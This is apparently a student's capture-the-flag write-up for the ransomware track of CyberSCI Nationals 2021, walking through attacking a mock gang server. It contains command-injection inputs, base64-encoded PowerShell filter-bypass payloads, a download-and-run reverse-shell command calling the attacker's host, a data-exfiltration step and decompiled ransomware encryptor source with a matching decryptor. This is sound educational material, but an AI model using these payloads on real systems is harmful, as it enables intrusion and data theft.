CyberSCI Nationals 2021 - Track 2 of 4: Ransomware

/assets/images/cybersci/cybersci_banner.png

Hello! A couple weeks ago I had the opportunity to compete in CyberSCI nationals, a cybersecurity competiton for university students across Canada.

It is an amazing event run by some great people, so if you are a university student in Canada be sure to check it out here šŸ™‚: CSC21 - Cyber Security Challenge 2021

The scenario presented to us as competitors was there was there is a group called dogedays /assets/images/cybersci/doge_group.png that has dealings in cryptomining and ransomware, and it is our job to break into their operations.

The challenges were in the ā€œhackquestā€ format. They were organized into 4 tracks, and in each track we ā€œattackedā€ a different branch of their operations. These were:

  1. Command and Control
  2. Ransomware
  3. Blog
  4. CryptoDB

In my last post I went over CyberSCI Nationationals 2021, Track 1: Command and Control.

I will now tackle the Ransomware track. This track involved dogedayā€™s ransomware as a service branch. It was broken into two challenges. I will walk through these below.

/assets/images/cybersci/rc1.png

Part 1: Get Access to the Ransomware Gangs Server

We were given this hostname ransomware.dogedays.ca and the following challenge:

Ransomware is insanely profitable, and is hard to fight. So of course this gang is dabbling in it! And they are expanding their reach by bringing it to the masses - as a serviceā€¦ ! We found the server that contains the ransomware encryptor that the criminals are using. We donā€™t have a way to get inside, but maybe you will be more successful? Once you are in, find the full path of the encryptor program, and submit it as a flag.

By reading through the challenge text we can determine that we need to:

  1. Get access to the server
  2. Find the program used for file encryption.

Enumeration of the Server

We begin by scanning the server, looking for running services.

crazyeights@es-base:~$ nmap -Pn -p- ransomware.dogedays.ca

We get the following: /assets/images/cybersci/track2/1.png

The port 58934 is unusual. If we open it in our browser we get the following: /assets/images/cybersci/track2/20.png

If we enter our ip address, it does seem to actually be checking whether the host is up. Since it most likely has to run an OS command to do this (aka because this is a CTF) it is likely that command injection is possible.

When we check the page source we can see that:

1) the field ip is sent as a post request to check.apsx

/assets/images/cybersci/track2/21b.png

2) some input sanitization is done on the client side, meaning that by making a request directly to the server we can bypass this.

/assets/images/cybersci/track2/21a.png

Command Injection:

I used the Insomnia tool to make requests directly to check.aspx because it is easy to test different things quickly. When we test the most basic cmd injection method (using ; to execute multiple commands on a single line), we get this:

/assets/images/cybersci/track2/24.png

We can assume that this app is vulnerable to cmd injeciton, and it has some kind of filter on the input, so using dir has triggered this message.

When we try the powershell version of dir, and we get the directory listing. Success!

localhost; Get-ChildItem

/assets/images/cybersci/track2/25.png

We now know that the server is likely using powershell commands to check if the host is up, so we can format our commands accordingly.

Finding the Ransomware Encryptor:

This next part was probably unecessary looking back on it, but at the time it seemed to make sense. We encoded our commands in base64, and used the format localhost; powershell -encoded <command> to bypass the filtering.

For example for the command dir C:\ which was caught by filters earlier we encoded it as follows (using UTF-16LE encoding because that is the format that powershell expects).

/assets/images/cybersci/track2/27.png

We set the value the ip parameter to:

localhost; powershell -encoded ZABpAHIAIABDADoAXAA=

and we get the following response.

/assets/images/cybersci/track2/26.png

We can see the directory of the ransomware in the C:\ directory. Lets look inside.

dir C:\Ransomware-data-3d57df6a\

// Convert to base64 using the same recipe as above:

localhost; powershell -encoded ZABpAHIAIABDADoAXABSAGEAbgBzAG8AbQB3AGEAcgBlAC0AZABhAHQAYQAtADMAZAA1ADcAZABmADYAYQBcAA==

We get the following: /assets/images/cybersci/track2/30.png

We found the answer to challenge 1 of this track:

C:\Ransomware-data-3d57df6a\encryptor.exe

Now on to part 2. /assets/images/cybersci/doge.gif

/assets/images/cybersci/rc2.png

Challenge 2: Recover Customer Data

We are given the following challenge:

Phew, you found the encryptor and one customerā€™s data - a big relief! But, as it happens too often, the customer didnā€™t have backupsā€¦ We need you to do your magic and recover the encrypted content. To prove that you were successful, take a personā€™s last name from the last line of every recovered file, concatenate them together in one long string, and submit a SHA1 hash of that string.

From this we can guess that we should do the following:

  1. Exfiltrate the Ransomware data from the server
  2. Reverse-engineer the encryptor program
  3. Decrypt the customer data files

Getting a Shell on the Ransomware Server:

To efficiently exfiltrate the ransomware files from the server we want to get a shell on the server. Because we now that powershell is being used, we select a powershell reverse shell. I used this one: https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3

To get as shell on the server we need to upload this reverse shell script to the ransomware server and execute it.

To achieve this we do the following:

1) Use the python http.server module to start host the reverse shell, so the remote host can download it.

/assets/images/cybersci/track2/49.png

2) Start our listener for the reverse shell to connect to.

nc -nlvp 1234

3) Download and execute the reverse shell using the command injection vulnerability.

// iex cmdlet evaluates or runs a specified string as a command and returns the results of the expression or command, allowing for us to download and execute our payload in a single command.

IEX(New-Object Net.WebClient).downloadString('http://10.8.0.2:8000/ps1_rshll.ps1')

// Convert to base 64, and insert into the ip field:

localhost; powershell -encoded SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADgALgAwAC4AMgA6ADgAMAAwADAALwBwAHMAMQBfAHIAcwBoAGwAbAAuAHAAcwAxACcAKQA=

We now have a shell on the ransomware server!

/assets/images/cybersci/track2/34.png

Exfiltrating Ransomware Data:

Next step is data exfiltration. We can see that along with the encryptor.exe file, there are 20 customer files to retrieve from the machine:

/assets/images/cybersci/track2/40.png

The first (very dumb šŸ˜–) way I tried to do this was by converting the executable file to base64 and printing it to the console. Then copy-paste-ing it into a file and decoding it.

/assets/images/cybersci/track2/38.png

The problem with this method is that when we go into the customer data files it would be far too slow (and perhaps not possible because the output might get cut off when printed to the console) to do this on all of them.

Instead we use the Compress-Archive command to zip the entire folder and put it in C:\inetpub\wwwroot, which is where the files served by the web server are:

Compress-Archive -Path C:\Ransomware-data-3d57df6a\ -DestinationPath C:\inetpub\wwwroot\ransomware_data.zip 

/assets/images/cybersci/track2/461.png

Now we have all the ransomware files in a publicly available directory, we now download it from:

http://ransomware.dogedays.ca:58934/ransomware_data.zip

Reverse Engineering Encryptor.exe

When we unzip we can see that all the files are present and intact: /assets/images/cybersci/track2/50.png

Lets begin analysing the encryptor executable.

Since it is a .NET application, I am switching to my Windows machine:

crazyeights@es-base:~/Downloads/ransomware_data/Ransomware-data-3d57df6a$ file encryptor.exe 
encryptor.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

On my machine I downloaded the Jetbrains .NET decompiler, and ran decompile on the encryptor exe to get its source.

/assets/images/cybersci/track2/51.png

Letā€™s walk through the important parts.

We have the following constants:

namespace Ransomware
{
  internal class Encryptor
  {
   private static string Extension = ".locked"; // <- the extension of the encrypted files
   private static string InternalKey = "O%C19{e5uWH&hR*k"; // <- the internal key, used to create the password to encrypt the files.

   [snipped]

The EncryptFile() function is the function that actually encrypts the files:

    public static void EncryptFile(FileInfo file, string custKey)
    {
      if (file.Extension == Encryptor.Extension)
        return;
      string path = file.FullName + Encryptor.Extension;
      Console.WriteLine("Encrypting " + file.FullName + " to " + path);
      try
      {
        // Read in the file:
        byte[] buffer = File.ReadAllBytes(file.FullName);
        // AES is a symmetric encryption algorithm. It is a block cipher.
        // Here it is using CBC mode, meaning it encrypts data in blocks such that each block is dependent on all previous message blocks.
        using (AesCryptoServiceProvider cryptoServiceProvider1 = new AesCryptoServiceProvider())
        {
          // Here we are building the password which is used to derive the key we encrypt the message with
          // We know the internal key, the file name, and year (2021) but the custKey is an unknown
          string password = Encryptor.InternalKey + custKey + file.Name + file.CreationTime.Year.ToString();

          // This is a random number number generator
          RNGCryptoServiceProvider cryptoServiceProvider2 = new RNGCryptoServiceProvider();
          byte[] numArray = new byte[16];
          cryptoServiceProvider2.GetBytes(numArray);

          // This derives a key from a password, and random number
          Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, numArray, 100000);
          cryptoServiceProvider1.Key = rfc2898DeriveBytes.GetBytes(32);
          // Here we are generating a initialization vector. It is a nonce that is used to encrypt the first message block in CBC mode.
          byte[] data = new byte[16];
          cryptoServiceProvider2.GetBytes(data);

          // We can see the exact method of encryption here, and we can use this info to write something to decrypt the customer data.
          cryptoServiceProvider1.IV = data;
          cryptoServiceProvider1.Mode = CipherMode.CBC;
          cryptoServiceProvider1.Padding = PaddingMode.PKCS7;
          using (MemoryStream memoryStream = new MemoryStream())
          {
            memoryStream.Write(numArray, 0, 16); // <- we can see here that the random number used to create the key is written to the first 16 bytes of the file
            memoryStream.Write(cryptoServiceProvider1.IV, 0, 16); // and the IV is written in the next 16 bytes.

            // encrypt the customer data and write to file
            CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider1.CreateEncryptor(), CryptoStreamMode.Write);
            cryptoStream.Write(buffer, 0, buffer.Length);
            cryptoStream.FlushFinalBlock();
            File.WriteAllBytes(path, memoryStream.ToArray());
          }
        }
        file.Delete();
      }
      catch (Exception ex)
      {
        Console.WriteLine("Error caught: " + ex.Message);
      }
    }

In the main() function we can see that the custKey is taken as an input arg. It is up to us to figure out what it is.

string custKey = args[0];

Since the encryptor program uses filename for encryption string password = Encryptor.InternalKey + custKey + file.Name + file.CreationTime.Year.ToString();, I renamed all the customer files to be what they were originally (just removed the .locked extension)

/assets/images/cybersci/track2/54.png

Through some googling I wrote a function that basically does the exact opposite of the EncryptFile function.

	public static int DecryptFile(string filename, string custKey)
	{
		try{
			byte[] buffer = File.ReadAllBytes(filename);
			string plaintext = null;
            
        // Create an Aes object with the specified key and IV.
       string password = Encryptor.InternalKey + custKey + filename + "2021";
	   RNGCryptoServiceProvider cryptoServiceProvider2 = new RNGCryptoServiceProvider();
	   // Retrieve numArray from the file buffer
	   byte[] numArray = buffer.SubArray(0, 16);
			
        Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, numArray, 100000);
        //Retrieve the IV from the file buffer
		byte[] data = buffer.SubArray(16, 16);
  
			
        using (Aes aesAlg = Aes.Create()){
            aesAlg.Key = rfc2898DeriveBytes.GetBytes(32);
            aesAlg.IV = data;
			aesAlg.Mode = CipherMode.CBC;
			aesAlg.Padding = PaddingMode.PKCS7;

            // Create a decryptor to perform the stream transform.
            ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);

            // Create the streams used for decryption.
            using (MemoryStream msDecrypt = new MemoryStream(buffer)){
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read)){
                    using (StreamReader srDecrypt = new StreamReader(csDecrypt)){
                        // Read the decrypted bytes from the decrypting stream
                        // and place them in a string.
                        plaintext = srDecrypt.ReadToEnd();
                    }
                }
            }
        }
[snipped]

To make my life easier when looking for the correct custKey, I looked for any decrypted plaintext that contained the string name, because it was known to be in the file. Then I went to the last line, and got the last userā€™s lastname.

	
string h1="name";
string h2="Name";
	
if (plaintext.Contains(h1) || plaintext.Contains(h2)) {
				
		var lines = plaintext.Split('\n');
		var lastLine = lines[lines.Length-2];
				
				
		var col = lastLine.Split(',');
		Console.Write(col[2]);
				
		//throw new Exception("end");  <- if we are checking many custKeys we want to stop when have the right one.
}
			

I tried brute-forcing the key, as well as all the usual subjects (password, key, secret, etc.) but guessed that the string 27f6be45e40ae98c which is the folder which the customer data was in could be the key.

/ransomware_data/Ransomware-data-3d57df6a/customer_data/27f6be45e40ae98c/ <--

I was right, and was able to decrypt the files. I used this extremely lazy method šŸ™ƒ to loop through all the customer files and call my decrypt method on each of them:

	private static void checkKeys(string filename) {
		
		for (int i=1; i < 21; i++){
			if (i < 10) {
				DecryptFile("CustData-0"+i+".csv", "27f6be45e40ae98c");
			} else {
				DecryptFile("CustData-"+i+".csv", "27f6be45e40ae98c");
			}
		}

We can see in the output when we print the whole file, the seed, and the IV, followed by the csv header containing the name string: /assets/images/cybersci/track2/52.png

Printing just lastnames: /assets/images/cybersci/track2/55.png

Finally we convert that string to a SHA1 hash as requested in the challenge description.

7A61363B5AB7D0CC759138076DEEAA1AB5FDCE09

and points! šŸ“ˆ

/assets/images/cybersci/doge3.png

And we are done track 2! šŸ„³ šŸ Thanks for reading! The last two tracks are to come!